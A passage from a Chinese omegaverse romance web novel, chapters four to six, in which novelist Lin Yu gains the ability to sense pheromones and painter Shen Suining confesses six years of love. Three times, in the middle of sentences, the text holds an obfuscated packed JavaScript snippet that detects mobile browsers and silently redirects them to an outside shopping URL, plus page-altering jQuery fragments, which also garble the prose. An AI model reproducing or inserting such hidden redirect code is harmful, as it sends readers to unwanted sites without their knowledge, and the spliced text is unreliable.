“你怎么知道?” “你写书的时候不想书。” 林昱愣了一下。 “那想什么?” “想别的。” 林昱等着下文。 但没了。 就这两个字:想别的。 他等了五分钟,沈遂宁没再发。 他把手机放下,闭上眼睛。 想别的。 他在想别的吗? 他在想沈遂宁。 第二天下午,林昱坐在电脑前,盯着空白的文档。 新书第一章,一个字没动。 手机在旁边,屏幕朝上,他隔一会儿看一眼。 没有消息。 周姐打电话来:“分镜看了没?怎么样?什么时候签合同?” 他说:“看了。挺好。下周。” 周姐说:“下周下周,你天天下周。下周哪天?” 他说:“不知道。” 周姐顿了两秒,说:“林昱,你不对劲。” 林昱说:“没有。” 周姐说:“有。你说话飘的。” 林昱说:“没飘。” 周姐说:“行。你自己不觉得。那我问你,沈遂宁昨天发消息了吗?” 林昱没说话。 周姐在电话那头笑了一声:“行了,挂了。” 电话挂了。 林昱看着手机,忽然有点烦。 他把手机扣桌上,继续盯文档。 盯了十分钟,一个字没动。 手机亮了。 他拿起来看。 不是沈遂宁。 是一条陌生号码的短信: “林昱老师您好,我是《艺术周刊》的记者,想采访您关于和沈遂宁老师合作的感受,方便的话……” 他看完就删了。 然后把手机扣回去。 又亮了。 他拿起来。 沈遂宁: “今天忙吗?” 林昱盯着这三个字,心跳快了一点。 他打字: “不忙。” “那来画室?” 林昱看了一眼窗外。下午三点,阳光正好。 他打字: “现在?” “嗯。” “行。” 发完他站起来,去换衣服。 走到衣柜前,他停了一下。 昨天穿的那件浅蓝衬衫挂在椅子上,还没洗。他拿起来闻了闻,还行。 穿上之后,他照了照镜子。 头发有点乱。他用手扒拉了两下。 然后出门了。 四十分钟后,林昱站在那扇灰色铁门前。 他吸了口气,敲门。 没人应。 他等了几秒,又敲了一下。 还是没人。 他拿出手机,准备发消息。 门开了。 沈遂宁站在门口,头发比昨天更乱,袖子上沾着颜料,眼睛下面有点青——像是一夜没睡。 他低头看林昱,没说话。 林昱被他看得有点不自在。 “不是你让我来的吗?” 沈遂宁侧身让开。 林昱走进去。 画室和昨天一样,阳光从大窗户照进来,落在地板上。但中间那把椅子被挪了位置——离窗户更近,光线更亮。 沈遂宁指了指椅子。 “坐。” 林昱坐下。 阳光正好落在身上,比昨天更晃眼。他眯了眯眼。 沈遂宁没动。他站在工作台旁边,看着他。 “今天画什么?”林昱问。 沈遂宁没说话。他拿起速写本,走过来,在他面前蹲下。 不是坐。是蹲下。 这样一来,他比林昱低了。 林昱愣了。 他低头看沈遂宁。沈遂宁抬头看他。 沈遂宁翻开速写本,开始画。 林昱不敢动。 他看着沈遂宁蹲在他面前,低着头,铅笔在纸上动。从这个角度看,能看见他头顶,头发有点乱,有一撮翘着。能看见他睫毛,很长,眼睛下面投了一小片阴影。能看见他手指,修长,骨节分明,握着铅笔。 画室里很安静。只有铅笔的沙沙声。 林昱忽然想起一个问题。 “你昨晚没睡好?” 沈遂宁没抬头。 “嗯。” “为什么?” 沈遂宁的手停了一下。 然后继续画。 “想事情。” 林昱等着下文。 但没了。 他想了想,又问: “想什么?” 沈遂宁抬起头,看他。 阳光落在他脸上,眼睛被照得很亮。 他看着林昱,看了两秒,然后低下头,继续画。 “想你。” 林昱呼吸停了一拍。 想你。 他张了张嘴,不知道该说什么。 沈遂宁没再说话,只是继续画。 铅笔的沙沙声,一下一下的。 林昱坐在阳光里,心跳有点快。 他不知道过了多久。五分钟?十分钟? 沈遂宁停笔。 “好了。” 他站起来,把速写本递给林昱。 林昱低头看。 画上是同一个人——坐在阳光里,但这次不是侧脸,是正面。眼睛看着镜头——不对,不是镜头,是看着蹲在他面前的那个人。 他看着沈遂宁。 那眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301765|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——不是被画的人看画家的眼神,是别的什么。 林昱盯着那幅画,看了半天。 “这张叫什么?”他问。 沈遂宁看着他。 “看着我的你。” 林昱把速写本还给他,手指有点抖。 沈遂宁接过来,合上,放回工作台。 然后他转过身,看着林昱。 “昨天那句话,”他说,“不是骗你的。” 林昱愣了一下。 “哪句?” “你写书的时候,心里有人在等。” 林昱没说话。 沈遂宁走过来,在他面前站定。 阳光从窗户照进来,落在两个人身上。 他低头看林昱。 “那个人,”他说,“你等到了吗?” 林昱抬起头,看着他。 他想说:没有,我没等人。我一个人挺好。写一个人比爱一个人安全。 但他没说。 他只是看着沈遂宁。 阳光落在他们中间,暖的。 沈遂宁没再问。 他转身走回工作台,拿起一叠纸,递过来。 “分镜改了一版。你看看。” 林昱接过来,低头看。 但他一个字都没看进去。 脑子里全是刚才那句话—— 那个人,你等到了吗? 林昱从画室出来的时候,天又黑了。 他站在门口,回头看那扇灰色的铁门。 沈遂宁这次送他出来了。站在门口,看着他。 “下周见。”沈遂宁说。 林昱点点头。 他转身往艺术区门口走。 走了几步,他停下。 回头。 沈遂宁还站在门口,看着他。 月光底下,他轮廓淡淡的。 林昱忽然想问点什么。 但他没问。 他转身继续走。 走到艺术区门口,他拿出手机,给沈遂宁发消息: “到家了告诉你。” 对面回得很快: “嗯。” 林昱看着这个“嗯”,忽然笑了一下。 他发现自己开始习惯这个“嗯”了。 地铁上,他站在角落,看着窗外的灯一闪一闪过去。 他想起那幅画:《看着我的你》。 他想起沈遂宁蹲在他面前的样子。 他想起那句“想你”。 他摸了摸后颈——那个什么都感知不到的地方。 然后他想: 如果有一天,沈遂宁知道了—— 知道他是个信息素封闭的Omega,没法被感知,没法被标记—— 他还会说“想你”吗? 地铁报站响了。 他下车,往小区走。 路过那棵梧桐树,他停下,抬头看。 树冠往东边歪,月光底下投了一片影子。 他想起沈遂宁说:树自己找光。 他站在树下,站了半天。 然后他拿出手机,给沈遂宁发消息: “到了。” 对面回: “嗯。” “那棵树,往东边歪。” 对面沉默了几秒。 然后: “我知道。” “你去看过?” “嗯。” 林昱盯着这个“嗯”。 他忽然想问:你什么时候去的? 但他没问。 他打字: “晚安。” 对面回: “晚安。” 林昱把手机收起来,往家走。 电梯里,他看着镜子里的自己。 嘴角好像有一点点弧度。 很轻。 但他看见了。 (第四章完) 5. 第5章 林昱开始躲沈遂宁。 不是故意的。就是……不知道该怎么面对。 那句“想你”还在脑子里转。那句“你等到了吗”也在转。他每天晚上躺床上,闭上眼睛就是沈遂宁蹲在他面前的样子,阳光落在他脸上,眼睛亮亮的。 他不敢回消息。 沈遂宁发过两次: “这周还来吗?” 他看了,没回。 “分镜第二版好了。” 他看了,还是没回。 周姐打电话来:“沈遂宁那边问我你怎么了,我说不知道。你怎么了?” 他说:“没怎么。” 周姐说:“你当我瞎?” 他说:“真没怎么。” 周姐说:“行。你自己处理。” 挂了。 他坐在电脑前,盯着空白的文档。 新书还是一个字没写。 已经一周了。 他发现自己写不出来了。 以前不是这样的。以前他坐在电脑前,不管心情怎么样,总能敲出点什么。现在脑子里全是别的东西,全是那个人。 他站起来,去倒水。 走到厨房,忽然闻到一股味道。 很淡。但确实有。 是什么? 他愣了一下,站在厨房中间,仔细闻。 是楼下那家早餐铺子的味道。油条、豆浆、葱油饼。以前也有的,但他从来没闻见过——他的信息素封闭,连带着嗅觉也比别人迟钝,医生说这是连带反应。 但现在他闻见了。 清清楚楚。 他站在原地,端着水杯,愣了很久。 然后他想起一件事。 他摸了一下后颈。 那里有一点点热。很轻,像是有什么东西在动。 他的手指停在上面,不敢动。 不可能的。 医生说过,信息素封闭是天生的,治不好,一辈子都这样。 但现在…… 他放下水杯,走进卫生间,对着镜子看。 后颈那块皮肤,颜色比旁边深了一点点。很淡,不仔细看看不出来。 他盯着那里,盯了很久。 手机响了。 他拿起来看。 沈遂宁: “你这周还来吗?” 他盯着那行字,手指停在屏幕上。 他想回:来。 但他没回。 他把手机放下,又摸了一下后颈。 还是热的。 他不知道这意味着什么。 他只知道,有什么东西变了。 第二天早上,林昱是被味道吵醒的。 不是声音,是味道。 楼下早餐铺子的味道,楼上那户人家煎鸡蛋的味道,窗外梧桐树叶的味道,甚至——他自己身上的味道。 他躺在床上,睁着眼睛,一动不敢动。 那些味道像潮水一样涌进来,他从来没闻过这么多东西,脑子有点晕。 他慢慢坐起来,深呼吸。 然后他闻到了另一股味道。 很淡。但很特别。 像松木。像雨后的空气。像—— 他愣住了。 这是沈遂宁的味道。 那天在画室,沈遂宁蹲在他面前,他离他很近,但他什么都闻不到。现在他闻到了。 他坐在床上,被那股味道包围着。 是从他手机上传来的。 沈遂宁昨天发的那条消息,他看了好几遍,手机屏幕上还留着那个对话框。那股味道就是从那里来的——不是真的味道,是信息素残留。 他的信息素封闭好了。 他能感知信息素了。 他也能释放信息素了。 他低下头,闻了闻自己。 有一股很淡的味道,他说不上来是什么。不像沈遂宁那么清晰,像是什么都没有的地方,刚刚长出来的第一片叶子。 他坐在床上,坐了很久。 然后他拿起手机,给沈遂宁发消息: “今天有空吗?” 对面回得很快: “有。” “我去找你。” “好。” 他放下手机,站起来,去换衣服。 换到一半,他停住了。 他想:如果沈遂宁闻到他了—— 沈遂宁会是什么反应? 他不是说“你身上什么都没有,真好”吗? 现在他有了。 还是好的吗? 他站在衣柜前,站了很久。 然后他把那件浅蓝衬衫穿上,出门了。 四十分钟后,林昱站在那扇灰色铁门前。 他深吸一口气。 然后他愣住了。 他闻到了。 不是从门缝里飘出来的,是隔着门,清清楚楚闻到的—— 松木。雨后。还有什么别的,他说不上来。 沈遂宁的信息素。 比手机上强烈一百倍。 他站在那里,被那股味道包围着,心跳得很快。 门开了。 沈遂宁站在门口,低头看他。 “来了?” 林昱点头。 沈遂宁侧身让他进去。 林昱走进去,站在画室中间。 阳光从大窗户照进来,落在地板上。那把椅子还在原来的位置,离窗户很近。 但他没看椅子。 他看着沈遂宁。 沈遂宁也在看他。 沈遂宁的眉头动了一下。 很轻。但林昱看见了。 “你……”沈遂宁开口,又停住。 林昱知道他在闻什么。 他在闻他。 “我能闻到了。”林昱说。 沈遂宁没说话。 “也能放出来了。”林昱又说。 沈遂宁还是没说话。 他只是看着他。 林昱被他看得有点不自在。 “你不想说什么吗?” 沈遂宁往前走了一步。 离他很近。 然后他低下头,凑近他的后颈。 林昱僵住了。 他能感觉到沈遂宁的呼吸,就在他脖子后面,温的,一下一下的。 沈遂宁在闻他。 闻他的信息素。 他不敢动。 过了几秒,沈遂宁直起身,退后一步。 他看着林昱,眼睛里有东西,林昱看不懂。 “你知道你是什么味道吗?”沈遂宁问。 林昱摇头。 “纸。”沈遂宁说。 林昱愣了一下。 “纸?” “新的纸。”沈遂宁说,“刚拆封的。什么都没有,但你知道上面马上要写东西。” 林昱看着他,不知道该说什么。 沈遂宁又往前走了一步。 这回离得更近。 他低头看林昱,目光很静。 “你之前说,写一个人比爱一个人安全。” 林昱没说话。 “现在还这么想吗?” 林昱张了张嘴,没说出话。 沈遂宁等了他几秒。 然后他转身,走到工作台旁边,拿起速写本,翻到最新一页,递过来。 林昱低头看。 画上是两个人。 一个坐在阳光里,一个蹲在他面前。 蹲着的那个人在抬头看,坐着的那个人在低头看。 他们在看对方。 底下有一行字: “他闻见他了。” 林昱盯着那行字,看了很久。 “你什么时候画的?” “昨晚。” 林昱抬起头,看着沈遂宁。 阳光落在他脸上,把他的眼睛照得很亮。 “你昨晚就知道?” 沈遂宁摇头。 “不知道。但我想画这个。” 林昱没说话。 他看着那幅画,看着那行字。 他闻见他了。 他忽然想起自己写过的一句话: “有些人的出现,像一束光。你还没看清光从哪来,就已经被照亮了。” 他抬起头,看着沈遂宁。 “我能闻见你了。”他说。 沈遂宁看着他。 “什么味道?” “松木。”林昱说,“还有雨后的空气。” 沈遂宁没说话。 但林昱看见他嘴角动了一下。 很轻。 像是一个自己都没察觉的笑。 那天下午,林昱没坐那把椅子。 他和沈遂宁一起坐在工作台旁边,看分镜。 沈遂宁一页一页翻给他看,讲每一格为什么要这么画。林昱听着,偶尔点头,偶尔问一句。 阳光从窗户移过来,落在他们脚边。 林昱发现自己一直在闻。 不是故意的。是那些味道自己往鼻子里钻。 沈遂宁的信息素。他自己的信息素。还有画室里那些颜料、松节油、纸张的味道。 以前他什么都闻不到。现在每一种味道都清清楚楚。 他忽然觉得有点累。 不是身体累。是脑子累。一下子接收太多东西,有点处理不过来。 沈遂宁停下翻页,看着他。 “累了?” 林昱点头。 “正常。”沈遂宁说,“刚开始都这样。” 林昱愣了一下。 “你怎么知道?” 沈遂宁没回答。 他看着林昱,看了两秒。 然后他说: “我第一次能闻到的时候,也这样。” 林昱等着下文。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301766|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但没了。 他想了想,问: “你什么时候开始的?” 沈遂宁沉默了几秒。 然后他说: “三岁。” 林昱愣住了。 三岁。 他三十岁才开始。 “那你……”他开口,又停住。 沈遂宁看着他。 “你想问什么?” 林昱想了想。 “你刚能闻到的时候,是什么感觉?” 沈遂宁没马上回答。 他看着窗外,看了很久。 然后他说: “吵。” 就一个字。 林昱等着。 “什么都闻得到。”沈遂宁说,“关不掉。” 林昱没说话。 他忽然想起沈遂宁说过的那句话: “你身上……什么都没有。真好。” 原来是真的。 不是客气。是真的觉得好。 “现在呢?”他问。 沈遂宁转过头,看着他。 “现在?” “还吵吗?” 沈遂宁没回答。 他只是看着他。 阳光落在他们之间,温的。 过了很久,沈遂宁说: “现在不吵了。” 林昱愣了一下。 “为什么?” 沈遂宁看着他,目光很静。 “因为你。” 林昱的呼吸停了一拍。 因为你。 他看着沈遂宁,不知道该说什么。 沈遂宁也没再说话。 他们就那么坐着,阳光落在脚边,画室里很安静。 林昱发现那股松木的味道变浓了一点。 他不知道是因为沈遂宁离得近,还是因为别的什么。 他只知道,他好像不觉得累了。 林昱从画室出来的时候,天又要黑了。 他站在门口,回头看沈遂宁。 沈遂宁站在门里,看着他。 “下周见?”沈遂宁问。 林昱点点头。 他转身往外走。 走了几步,他停下来。 回头。 沈遂宁还站在门口。 他想了想,走回去。 沈遂宁看着他,没说话。 林昱站在他面前,抬头看他。 “有件事,”他说,“我一直没告诉你。” 沈遂宁等着。 “我是Omega。”林昱说,“不是Beta。” 沈遂宁没说话。 “信息素封闭的那种。”林昱又说,“医生说没法被标记,也没法标记别人。” 沈遂宁还是没说话。 林昱等了几秒。 “你没什么想说的吗?” 沈遂宁看着他。 然后他往前走了一步。 离他很近。 他低头看他,目光很静。 “我知道。” 林昱愣住了。 “你知道?” “嗯。” “什么时候?” 沈遂宁想了想。 “第一次见你的时候。” 林昱张了张嘴,不知道该说什么。 “你不是说你闻不到我吗?” “闻不到。”沈遂宁说,“但能看出来。” 林昱看着他。 “怎么看?” 沈遂宁没回答。 他只是看着他。 月光底下,他的轮廓淡淡的。 过了很久,他说: “你看人的方式,和别人不一样。” 林昱没说话。 “你在等。”沈遂宁说,“等一个能看见你的人。” 他看着林昱,目光很静。 “我等到了。” 林昱站在原地,被这句话定住了。 他看着沈遂宁,月光落在他眼睛里,亮亮的。 他想说点什么,但什么都说不出来。 沈遂宁没再说话。 他只是伸出手,在他肩上轻轻拍了一下。 很轻。 然后他转身走回画室,把门关上了。 林昱站在门口,站了很久。 月光落在他身上,温的。 他摸了一下自己的后颈。 那股热还在。淡淡的。 他想起沈遂宁说:纸的味道。什么都没有,但你知道上面马上要写东西。 他忽然知道要写什么了。 他拿出手机,给沈遂宁发消息: “下周见。” 对面回得很快: “嗯。” 他看着那个“嗯”,笑了一下。 然后他转身往地铁站走。 风有点凉,但他不觉得冷。 (第五章完) 6. 第6章 林昱回到家的时候,已经快十点了。 他开门,换鞋,把钥匙扔在玄关的碗里。动作和平时一样,但他知道有什么不一样了。 他站在客厅中间,没开灯。 月光从窗户照进来,落在地板上,和他刚才站的那条巷子一样。 他摸了一下后颈。 还是热的。淡淡的。 他想起沈遂宁说的那句话——“我等到了”。 不是“我等你”,是“我等到了”。 过去时。 好像他一直在等,而现在,等完了。 林昱在黑暗里站了一会儿,然后走进卧室,躺到床上。 他闭上眼睛。 然后他闻到了。 松木。雨后的空气。还有一点别的,他说不上来,像是很远的地方传来的什么声音。 是沈遂宁的味道。 他身上还留着,从画室带回来的。 他躺在那里,被那股味道包围着,忽然觉得很累。 不是身体累。是一种很深的、很久没有过的累——好像走了很远的路,终于可以坐下来那种累。 他睡着了。 梦里全是阳光。 醒来的时候,天已经亮了。 林昱睁开眼睛,躺在床上,看着天花板。 他第一件想到的事:沈遂宁说“我等到了”。 第二件:他今天还要去吗?昨天刚去过。 第三件:他应该写东西了。已经一周多了,一个字没有。 他坐起来,去洗漱,然后坐到电脑前。 打开文档。 空白。 他盯着那个光标闪了十秒,然后站起来,去倒水。 走到厨房,他又闻到了。 沈遂宁的味道。从卧室那边飘过来的,他身上那件衣服还挂着。 他端着水杯站在厨房门口,看着卧室的方向,愣了两秒。 然后他走回去,把那件衣服拿起来,凑近闻了一下。 确实是他的味道。 他把衣服放下。 又拿起来,闻了一下。 然后他骂了自己一句,把衣服挂回去,走回电脑前。 光标还在闪。 他盯着屏幕,脑子里全是别的东西。 比如:沈遂宁现在在干什么?在画画吗?在睡觉吗?有没有在想他? 比如:他说“我等到了”,是什么意思?等到了什么?等他出现?还是等他能闻到? 比如:他蹲在自己面前那天,阳光落在他脸上的样子。 林昱闭上眼睛。 停了两秒。 然后他拿起手机,给沈遂宁发消息: “在干什么?” 发完他就后悔了。 太像那种“你在干嘛”的早安问候了,他以前最烦这种消息。 但已经发了。 他盯着屏幕,等回复。 一分钟。两分钟。 手机亮了。 沈遂宁: “在画你。” 林昱愣住了。 画你。 不是“画画”,是“画你”。 他盯着那两个字,看了好几遍。 然后他打字: “我能看看吗?” “现在?” “嗯。” 对面没回。 过了十几秒,手机响了。 沈遂宁: “来。” 林昱换好衣服出门的时候,才十点。 他站在电梯里,看着镜子里的自己,忽然想起一件事: 他昨天刚去过。 今天又去。 这算什么? 可他还是去了。 他敲了敲门。 门开了。 沈遂宁站在门口,低头看他。 “来了?”他说。 林昱点头。 沈遂宁侧身让他进去。 林昱走进去,站在画室中间。 阳光从大窗户照进来,落在地板上。那把椅子还在原来的位置。 但画室和昨天不一样了。 墙上多了一幅画。 不是贴在墙上,是靠在墙边,用一个画架撑着,面朝里。 林昱看了一眼,没看清画的是什么。 他转回头,看着沈遂宁。 沈遂宁也在看他。 “画呢?”林昱问。 沈遂宁没说话。 他走到那幅画前面,把画架转过来。 林昱看见了。 画上是他的侧脸。 他坐在那把椅子上,阳光从窗户照进来,落在他的半边脸上。他的眼睛看着窗外,不知道在看什么。嘴角很平,但好像又有一点点往上。 底下有一行字: “他在想什么?” 林昱盯着那幅画,看了很久。 然后他转回头,看着沈遂宁。 “这是什么时候画的?” “上周。” “上周?” “你坐在那里的时候。”沈遂宁说,“你说你在想新书。” 林昱没说话。 他记得那天。他确实在想新书。但他什么都没想出来,他只是坐在那里,被阳光照着,觉得很安静。 他不知道沈遂宁在画他。 “还有别的吗?”他问。 沈遂宁看着他。 “你想看?” 林昱点头。 沈遂宁沉默了两秒。 然后他转身,走到工作台旁边,从下面抽出一个速写本,递给他。 林昱接过来,翻开。 第一页:他站在门外的样子。手插在兜里,头微微低着,好像在等什么。 第二页:他坐在椅子上的背影。肩膀的线条,后颈的弧度。 第三页:他低头看手机。眉头微微皱着,嘴唇抿着。 第四页:他抬起头,看着画室里的某个方向——大概是窗户那边。阳光落在他的眼睛里,亮亮的。 第五页:他睡着了。头靠在椅背上,眼睛闭着,呼吸很轻。 第六页:他蹲在他面前。不是沈遂宁蹲在他面前,是他蹲在沈遂宁面前。画里的沈遂宁坐在椅子上,他蹲在地上,抬头看他。 底下有一行字: “他在看什么?” 林昱翻页的手停了一下。 然后他继续翻。 第七页:他的眼睛。只有眼睛,大大的,占了整页纸。眼睛里有光,光里有一个人——很模糊,但能看出来,是沈遂宁自己。 第八页:他的侧脸,阳光落在上面。 第九页:他的手。放在膝盖上的手,手指微微蜷着。 第十页:两个人。一个坐在阳光里,一个蹲在他面前。蹲着的那个人在抬头看,坐着的那个人在低头看。他们 在看对方。 底下有一行字: “他闻见他了。” 林昱翻到第十一页。 他的手指停住了。 这一页不是速写。 是一幅完整的画。 画上是他,坐在那把椅子上。但和前面都不一样——他低着头,嘴角弯着,在笑。 很轻的笑。像是不自觉的那种。 阳光从窗户照进来,落在他的头发上、肩膀上、手指上。整个画面都是暖的。 底下有一行字: “他想让我留下来。” 林昱盯着那行字,看了很久。 然后他抬起头,看着沈遂宁。 “这是什么时候画的?” “昨晚。” 林昱愣了一下。 “昨晚?” “嗯。”沈遂宁说,“你走了之后。” 林昱没说话。 他看着那幅画,看着那个在笑的自己。 他不知道自己在笑。 他不知道自己想让沈遂宁留下来。 但沈遂宁知道。 沈遂宁画出来了。 他合上速写本,抬起头,看着沈遂宁。 沈遂宁也在看他。 目光很静。 林昱张了张嘴,想说什么。 但他没说出来。 他发现自己有点紧张。 他三十岁了,写过很多爱情故事,笔下的人说过很多情话。但轮到自己,他不知道该说什么。 他想了想。 然后他说: “沈遂宁。” “嗯?” “你知道我为什么一直来吗?” 沈遂宁看着他,没说话。 林昱往前走了一步。 离他很近。 “不是因为分镜。”他说,“不是因为新书。是因为你。” 沈遂宁的眼睛动了一下。 很轻。 但林昱看见了。 “我第一次来的时候,”林昱说,“你蹲在我面前,阳光落在你脸上。你问我,你等到了吗。我不知道你在问什么。但我回去之后,一直在想那个画面。” 他顿了顿。 “后来我能闻到了。我闻到你是什么味道。松木,雨后的空气,还有——很安静。我闻到你的时候,脑子里就不吵了。” 他看着沈遂宁的眼睛。 “我不知道这算什么。”他说,“我没喜欢过谁。但我每天醒来,第一个想到的人是你。我坐在电脑前,脑子里全是你的样子。我闻到我衣服上你的味道,会拿起来再闻一遍。” 他笑了一下。 “我三十岁了。我以为我不会这样了。” 沈遂宁没说话。 他只是看着他。 阳光落在他的眼睛里,亮亮的。 林昱被他看得有点不好意思。 他低下头,看着自己的鞋。 “我说完了。”他说。 空气很安静。 过了几秒。 沈遂宁往前走了一步。 离他很近。 林昱抬起头,看着他。 沈遂宁低头看他,目光很静。 然后他伸出手。 他的手很大,手指很长,指节上有颜料蹭的痕迹。 他伸出手,托起林昱的下巴。 很轻。 只是托着。 林昱的呼吸停住了。 他看着沈遂宁,一动不敢动。 沈遂宁看了他很久。 然后他说: “林昱。” “嗯?” “你知道我等了多久吗?” 林昱摇头。 沈遂宁沉默了几秒。 然后他说: “六年。” 林昱愣住了。 六年。 “六年前,”沈遂宁说,“我去过一个签售会。一个作家的。那本书叫《无人接听》。” 林昱的瞳孔缩了一下。 《无人接听》是他的第一本书。六年前出版的。 他记得那个签售会。人不多,几十个读者排着队。他坐在那里,一本一本地签,一晚上没抬头。 他不知道沈遂宁在。 “我排了四十分钟。”沈遂宁说,“到你面前的时候,你抬头看了我一眼。就一眼。然后你低头签名,把书递给我,说谢谢。” 他看着林昱。 “你签的是:祝安好。” 林昱张了张嘴,说不出话。 他不记得了。 他签过太多书,见过太多读者。他不记得那个排了四十分钟的人。 “我回去之后,”沈遂宁说,“把那本书翻了很多遍。我想知道你是什么样的人。后来我在网上看到你的采访,你说你信息素封闭,闻不到任何味道。” 他顿了顿。 “我那时候就想,如果能见到你,就好了。” 林昱看着他。 “你后来见过我吗?” 沈遂宁摇头。 “没有。我不知道怎么见你。你的活动,我去过几次,但都是远远看着。我没上去。” “为什么?” 沈遂宁看着他。 “因为我怕。” 林昱愣了一下。 “怕什么?” “怕你闻不到。”沈遂宁说,“也怕你闻得到。” 林昱没听懂。 沈遂宁看着他,目光很静。 “我信息素很强。”他说,“从小就这样。别人靠近我,会觉得吵。会被影响。会不舒服。” 他顿了顿。 “你什么都没有的时候,是我唯一能靠近的人。” 林昱的胸口动了一下。 他终于明白了。 那句“你身上什么都没有,真好”,不是客气。 是真的好。 因为只有在他身边,沈遂宁才能安静下来。 “后来你突然能闻到了。”沈遂宁说,“我不知道为什么会这样。但你站在我门口那天,我开门的时候,闻到了你的味道。” 他看着林昱。 “纸的味道。新的纸。什么都没有,但你知道上面马上要写东西。” 林昱没说话。 “我当时想,”沈遂宁说,“我等到了。” 他往前走了一步。 离得更近。 他的手还托着林昱的下巴。 “林昱。” “嗯?” “我喜欢你。” 林昱的呼吸停住了。 他看着沈遂宁的眼睛,那里面有什么东西,很深,很静。 “六年前你签那本书的时候,我就喜欢你。”沈遂宁说,“这六年我一直在等。等一个能靠近你的机会。等你能闻到我。等你愿意来。” 他顿了顿。 “你现在来了。” 林昱站在原地,被这几句话定住了。 他看着沈遂宁,阳光落在他们之间,那些细小的灰尘在光里飘。 他忽然想哭。 不是难过。是别的。他说不上来。 他伸出手,抓住沈遂宁的袖子。 就抓着。 没说话。 沈遂宁低头看他。“你怎么了?” 林昱摇头。 沈遂宁等了几秒。 然后他轻轻地把林昱拉进怀里。 很轻。 只是抱着。 林昱的脸贴在他的胸口,能感觉到他的心跳。 咚。咚。咚。 很稳。 林昱闭上眼睛。 他想:原来被喜欢的人抱着,是这样的感觉。 他闻着那股松木的味道,闻着那股雨后的空气,闻着那股“很安静”的东西。 他忽然开口: “沈遂宁。” “嗯?” “我也喜欢你。” 沈遂宁没说话。 但林昱感觉到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301767|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手收紧了一点。 就那么一点。 他们站在画室中间,阳光从窗户照进来,落在地板上,落在他们身上。 抱了很久。 林昱先开口: “你手上有颜料。” 沈遂宁愣了一下。 “什么?” 林昱抬起头,看着他。 “你刚才托我下巴的时候,蹭我脸上了。” 沈遂宁低头看他。 林昱的下巴上确实有一小块黑色的痕迹。 他看着那个痕迹,看了两秒。 然后他伸出手,用拇指轻轻擦了一下。 没擦掉。 他又擦了一下。 林昱看着他,忽然笑了。 “你在干什么?” “擦。” “擦不掉。” “能。” 林昱笑了一下。 他站在那里,被沈遂宁擦着下巴,阳光落在他们身上,暖的。 他忽然想起自己写过的一句话: “有些人出现的时候,你知道,就是他了。” 他看着沈遂宁。 沈遂宁也看着他。 “擦不掉。”沈遂宁说。 “那就留着。”林昱说。 沈遂宁的手停在他下巴上。 他看着林昱,目光很静。 然后他低下头。 吻了他。 很轻。 只是碰了一下。 像是一幅画落下的最后一笔。 林昱闭上眼睛。 他想:原来被喜欢的人吻着,是这样的感觉。 阳光落在他们身上。 很暖。 那天下午,他们坐在工作台旁边,沈 遂宁画画,林昱看他画。 沈遂宁画的是他。 他刚才那个样子,下巴上有一点黑,眼睛亮亮的。 林昱坐在旁边,看他一笔一笔地画。 “你画了多少张我了?”他问。 沈遂宁想了想。 “没数。” “能数一下吗?” 沈遂宁看了他一眼。 然后他放下笔,把那个速写本拿过来 翻到第一页。 “这张。” 翻到第二页。 “这张。” 他一页一页翻过去。 林昱看着那些画,看着那些自己——站着的,坐着的,低头的,抬头的,睡着的,醒着的,没笑的,笑的。 翻到第十一页的时候,沈遂宁停了一下。 就是那幅。 他在笑的,底下写着“他想让我留下来”。 沈遂宁看着那幅画,看了两秒。 然后他继续翻。 第十二页。空白。 第十三页。空白。 第十四页。空白。 他翻到最后一页。 上面是新画的。 林昱现在的样子,坐在他旁边,下巴上有一点黑,眼睛亮亮的。 底下有一行字: “他说他也喜欢我。” 林昱盯着那行字,看了很久。 然后他抬起头,看着沈遂宁。 沈遂宁也在看他。 “你写这个干什么?” 沈遂宁想了想。 “记下来。” “为什么?” 沈遂宁看着他。 “怕你明天不认。” 林昱愣了一下。 然后他笑了。 “我不会不认的。” 沈遂宁没说话。 林昱看着他,想了想。 然后他凑过去,在他脸上亲了一下。 很轻。 就一下。 他退回来,看着沈遂宁。 “认了吗?” 沈遂宁没说话。 但他嘴角动了。 很轻。 像是一个自己都没察觉的笑。 天黑下来的时候,林昱站起来,准备走。 他走到门口,回头看沈遂宁。 沈遂宁站在门里,看着他。 “下周见?”沈遂宁问。 林昱点点头。 他推开门,走出去。 走了几步,他停下来。 回头。 沈遂宁还站在门口。 月光底下,他的轮廓淡淡的。 林昱看着那个轮廓,站了两秒。 然后他走回去。 沈遂宁看着他,没说话。 林昱站在他面前,抬头看他。 “沈遂宁。” “嗯?” “我明天还来。” 沈遂宁看着他。 “后天呢?” “也来。” “大后天?” 林昱想了想。 